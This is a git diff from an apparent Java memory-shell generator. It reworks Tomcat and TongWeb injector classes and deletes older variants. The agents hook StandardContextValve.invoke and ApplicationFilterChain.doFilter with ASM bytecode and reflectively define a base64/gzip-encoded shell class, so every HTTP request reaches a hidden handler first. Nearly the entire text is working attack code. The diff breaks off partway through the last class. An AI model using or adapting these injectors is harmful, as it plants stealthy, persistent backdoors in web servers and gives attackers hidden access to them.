a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentWithAsmInjector.java +++ /dev/null @@ -1,98 +0,0 @@ -package com.reajason.javaweb.memshell.injector.tomcat; - -import org.objectweb.asm.*; - -import java.lang.instrument.ClassFileTransformer; -import java.lang.instrument.Instrumentation; -import java.lang.reflect.Constructor; -import java.security.ProtectionDomain; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class TomcatContextValveAgentWithAsmInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve"; - private static final String TARGET_METHOD_NAME = "invoke"; - - static Constructor constructor = null; - - static { - try { - Class clazz = Class.forName(getClassName()); - constructor = clazz.getConstructors()[0]; - constructor.setAccessible(true); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public TomcatContextValveAgentWithAsmInjector() { - } - - @Override - public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return bytes; - } - - - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return (MethodVisitor) constructor.newInstance(mv, argumentTypes); - } catch (Exception e) { - e.printStackTrace(); - } - } - return mv; - } - }; - } - - public static String getClassName() { - return "{{advisorName}}"; - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - inst.addTransformer(new TomcatContextValveAgentWithAsmInjector(), true); - for (Class allLoadedClass : inst.getAllLoadedClasses()) { - String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - } - } - System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java index c772ef9a..0c5a14c4 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java @@ -1,39 +1,28 @@ package com.reajason.javaweb.memshell.injector.tomcat; -import net.bytebuddy.agent.builder.AgentBuilder; -import net.bytebuddy.asm.Advice; -import net.bytebuddy.description.type.TypeDescription; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.matcher.ElementMatchers; -import net.bytebuddy.utility.JavaModule; +import org.objectweb.asm.*; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; - -import static net.bytebuddy.matcher.ElementMatchers.named; +import java.util.zip.GZIPInputStream; /** * @author ReaJason - * @since 2024/12/28 + * @since 2025/3/26 */ -public class TomcatFilterChainAgentInjector implements AgentBuilder.Transformer { +public class TomcatFilterChainAgentInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain"; + private static final String TARGET_METHOD_NAME = "doFilter"; - static Class interceptorClass = null; - - static { - try { - interceptorClass = Class.forName(getClassName()); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } + public static String getClassName() { + return "{{advisorName}}"; } - @Override - public DynamicType.Builder transform(DynamicType.Builder builder, - TypeDescription typeDescription, - ClassLoader classLoader, JavaModule module, - ProtectionDomain protectionDomain) { - return builder.visit(Advice.to(interceptorClass).on(named("doFilter"))); + public static String getBase64String() { + return "{{base64String}}"; } public static void premain(String args, Instrumentation inst) throws Exception { @@ -44,21 +33,191 @@ public class TomcatFilterChainAgentInjector implements AgentBuilder.Transformer launch(inst); } - public static String getClassName() { - return "{{advisorName}}"; - } - private static void launch(Instrumentation inst) throws Exception { System.out.println("MemShell Agent is starting"); - new AgentBuilder.Default() - .ignore(ElementMatchers.none()) - .disableClassFormatChanges() - .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) -// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) -// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) - .type(named("org.apache.catalina.core.ApplicationFilterChain")) - .transform(new TomcatFilterChainAgentInjector()) - .installOn(inst); - System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter"); + inst.addTransformer(new TomcatFilterChainAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter"); + } + } } -} \ No newline at end of file + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Throwable e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Throwable e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + try { + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentWithAsmInjector.java deleted file mode 100644 index 9a1bc9b2..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentWithAsmInjector.java +++ /dev/null @@ -1,97 +0,0 @@ -package com.reajason.javaweb.memshell.injector.tomcat; - -import org.objectweb.asm.*; - -import java.lang.instrument.ClassFileTransformer; -import java.lang.instrument.Instrumentation; -import java.lang.reflect.Constructor; -import java.security.ProtectionDomain; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class TomcatFilterChainAgentWithAsmInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain"; - private static final String TARGET_METHOD_NAME = "doFilter"; - - static Constructor constructor = null; - - static { - try { - Class clazz = Class.forName(getClassName()); - constructor = clazz.getConstructors()[0]; - constructor.setAccessible(true); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public TomcatFilterChainAgentWithAsmInjector() { - } - - @Override - public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return bytes; - } - - public static String getClassName() { - return "{{advisorName}}"; - } - - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return (MethodVisitor) constructor.newInstance(mv, argumentTypes); - } catch (Exception e) { - e.printStackTrace(); - } - } - return mv; - } - }; - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - inst.addTransformer(new TomcatFilterChainAgentWithAsmInjector(), true); - for (Class allLoadedClass : inst.getAllLoadedClasses()) { - String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - } - } - System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java index df0c5918..b3424fda 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java @@ -1,39 +1,29 @@ package com.reajason.javaweb.memshell.injector.tongweb; -import net.bytebuddy.agent.builder.AgentBuilder; -import net.bytebuddy.asm.Advice; -import net.bytebuddy.description.type.TypeDescription; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.matcher.ElementMatchers; -import net.bytebuddy.utility.JavaModule; +import org.objectweb.asm.*; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; - -import static net.bytebuddy.matcher.ElementMatchers.named; +import java.util.zip.GZIPInputStream; /** * @author ReaJason - * @since 2024/12/28 + * @since 2025/3/26 */ -public class TongWebContextValveAgentInjector implements AgentBuilder.Transformer { +public class TongWebContextValveAgentInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "com/tongweb/web/thor/core/StandardContextValve"; + private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/StandardContextValve"; + private static final String TARGET_METHOD_NAME = "invoke"; - static Class interceptorClass = null; - - static { - try { - interceptorClass = Class.forName(getClassName()); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } + public static String getClassName() { + return "{{advisorName}}"; } - @Override - public DynamicType.Builder transform(DynamicType.Builder builder, - TypeDescription typeDescription, - ClassLoader classLoader, JavaModule module, - ProtectionDomain protectionDomain) { - return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class)))); + public static String getBase64String() { + return "{{base64String}}"; } public static void premain(String args, Instrumentation inst) throws Exception { @@ -44,22 +34,192 @@ public class TongWebContextValveAgentInjector implements AgentBuilder.Transforme launch(inst); } - public static String getClassName() { - return "{{advisorName}}"; - } - private static void launch(Instrumentation inst) throws Exception { System.out.println("MemShell Agent is starting"); - new AgentBuilder.Default() - .ignore(ElementMatchers.none()) - .disableClassFormatChanges() - .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) -// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) -// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) - .type(named("com.tongweb.web.thor.core.StandardContextValve") - .or(named("com.tongweb.catalina.core.StandardContextValve"))) - .transform(new TongWebContextValveAgentInjector()) - .installOn(inst); - System.out.println("MemShell Agent is working at com.tongweb.web.thor[com.tongweb.catalina].core.StandardContextValve.invoke"); + inst.addTransformer(new TongWebContextValveAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name) + || TARGET_CLASS_1.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + System.out.println("MemShell Agent is working at " + name + ".invoke"); + } + } } -} \ No newline at end of file + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + try { + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentWithAsmInjector.java deleted file mode 100644 index 5bb833c7..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentWithAsmInjector.java +++ /dev/null @@ -1,100 +0,0 @@ -package com.reajason.javaweb.memshell.injector.tongweb; - -import org.objectweb.asm.*; - -import java.lang.instrument.ClassFileTransformer; -import java.lang.instrument.Instrumentation; -import java.lang.reflect.Constructor; -import java.security.ProtectionDomain; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class TongWebContextValveAgentWithAsmInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "com/tongweb/web/thor/core/StandardContextValve"; - private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/StandardContextValve"; - private static final String TARGET_METHOD_NAME = "invoke"; - - static Constructor constructor = null; - - static { - try { - Class clazz = Class.forName(getClassName()); - constructor = clazz.getConstructors()[0]; - constructor.setAccessible(true); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public TongWebContextValveAgentWithAsmInjector() { - } - - @Override - public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) { - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return bytes; - } - - - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return (MethodVisitor) constructor.newInstance(mv, argumentTypes); - } catch (Exception e) { - e.printStackTrace(); - } - } - return mv; - } - }; - } - - public static String getClassName() { - return "{{advisorName}}"; - } - - public static void premain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - public static void agentmain(String args, Instrumentation inst) throws Exception { - launch(inst); - } - - private static void launch(Instrumentation inst) throws Exception { - System.out.println("MemShell Agent is starting"); - inst.addTransformer(new TongWebContextValveAgentWithAsmInjector(), true); - for (Class allLoadedClass : inst.getAllLoadedClasses()) { - String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name) - || TARGET_CLASS_1.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - } - } - System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java index c6389fda..4ef65333 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java @@ -1,39 +1,29 @@ package com.reajason.javaweb.memshell.injector.tongweb; -import net.bytebuddy.agent.builder.AgentBuilder; -import net.bytebuddy.asm.Advice; -import net.bytebuddy.description.type.TypeDescription; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.matcher.ElementMatchers; -import net.bytebuddy.utility.JavaModule; +import org.objectweb.asm.*; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; - -import static net.bytebuddy.matcher.ElementMatchers.named; +import java.util.zip.GZIPInputStream; /** * @author ReaJason - * @since 2024/12/28 + * @since 2025/3/26 */ -public class TongWebFilterChainAgentInjector implements AgentBuilder.Transformer { +public class TongWebFilterChainAgentInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "com/tongweb/web/thor/core/ApplicationFilterChain"; + private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/ApplicationFilterChain"; + private static final String TARGET_METHOD_NAME = "doFilter"; - static Class interceptorClass = null; - - static { - try { - interceptorClass = Class.forName(getClassName()); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } + public static String getClassName() { + return "{{advisorName}}"; } - @Override - public DynamicType.Builder transform(DynamicType.Builder builder, - TypeDescription typeDescription, - ClassLoader classLoader, JavaModule module, - ProtectionDomain protectionDomain) { - return builder.visit(Advice.to(interceptorClass).on(named("doFilter"))); + public static String getBase64String() { + return "{{base64String}}"; } public static void premain(String args, Instrumentation inst) throws Exception { @@ -44,22 +34,192 @@ public class TongWebFilterChainAgentInjector implements AgentBuilder.Transformer launch(inst); } - public static String getClassName() { - return "{{advisorName}}"; - } - private static void launch(Instrumentation inst) throws Exception { System.out.println("MemShell Agent is starting"); - new AgentBuilder.Default() - .ignore(ElementMatchers.none()) - .disableClassFormatChanges() - .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) -// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) -// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) - .type(named("com.tongweb.web.thor.core.ApplicationFilterChain") - .or(named("com.tongweb.catalina.core.ApplicationFilterChain"))) - .transform(new TongWebFilterChainAgentInjector()) - .installOn(inst); - System.out.println("MemShell Agent is working at com.tongweb.web.thor[com.tongweb.catalina].core.ApplicationFilterChain.doFilter"); + inst.addTransformer(new TongWebFilterChainAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name) + || TARGET_CLASS_1.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + System.out.println("MemShell Agent is working at " + name + ".doFilter"); + } + } } -} \ No newline at end of file + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + 